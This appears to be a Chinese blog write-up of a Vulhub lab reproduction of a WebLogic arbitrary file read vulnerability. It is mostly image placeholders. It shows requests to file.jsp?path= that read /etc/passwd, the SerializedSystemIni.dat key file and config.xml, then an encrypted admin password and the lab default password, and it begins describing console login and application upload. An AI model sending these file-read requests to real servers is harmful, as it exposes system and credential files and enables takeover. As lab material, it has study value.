0
点赞
收藏
分享

微信扫一扫

漏洞复现(vulhub漏洞复现) weblogic 文件读取漏洞

何以至千里 2022-04-14 阅读 70
linux

weblogic 文件读取漏洞
在这里插入图片描述
在这里插入图片描述在这里插入图片描述
访问http://192.168.15.136:7001/hello/file.jsp?path=/etc/passwd可见成功读取passwd文件
在这里插入图片描述
在这里插入图片描述
GET /hello/file.jsp?path=security/SerializedSystemIni.dat HTTP/1.1
在这里插入图片描述
是一个二进制文件,所以一定要用burpsuite来读取,用浏览器直接下载可能引入一些干扰字符。在burp里选中读取到的那一串乱码,右键copy to file就可以保存成一个文件:
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
GET /hello/file.jsp?path=config/config.xml HTTP/1.1
找到其中的的值,即为加密后的管理员密码
在这里插入图片描述
在这里插入图片描述
{AES}yvGnizbUS0lga6iPA5LkrQdImFiS/DJ8Lw/yeE7Dt0k=
在这里插入图片描述
不知道为啥解不出来 Oracle@123
取到管理员密码后,登录后台。点击左侧的部署,可见一个应用列表
在这里插入图片描述
在这里插入图片描述

点击安装,选择“上载文件”:

在这里插入图片描述

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述在这里插入图片描述
在这里插入图片描述
在这里插入图片描述在这里插入图片描述
在这里插入图片描述

举报

相关推荐

0 条评论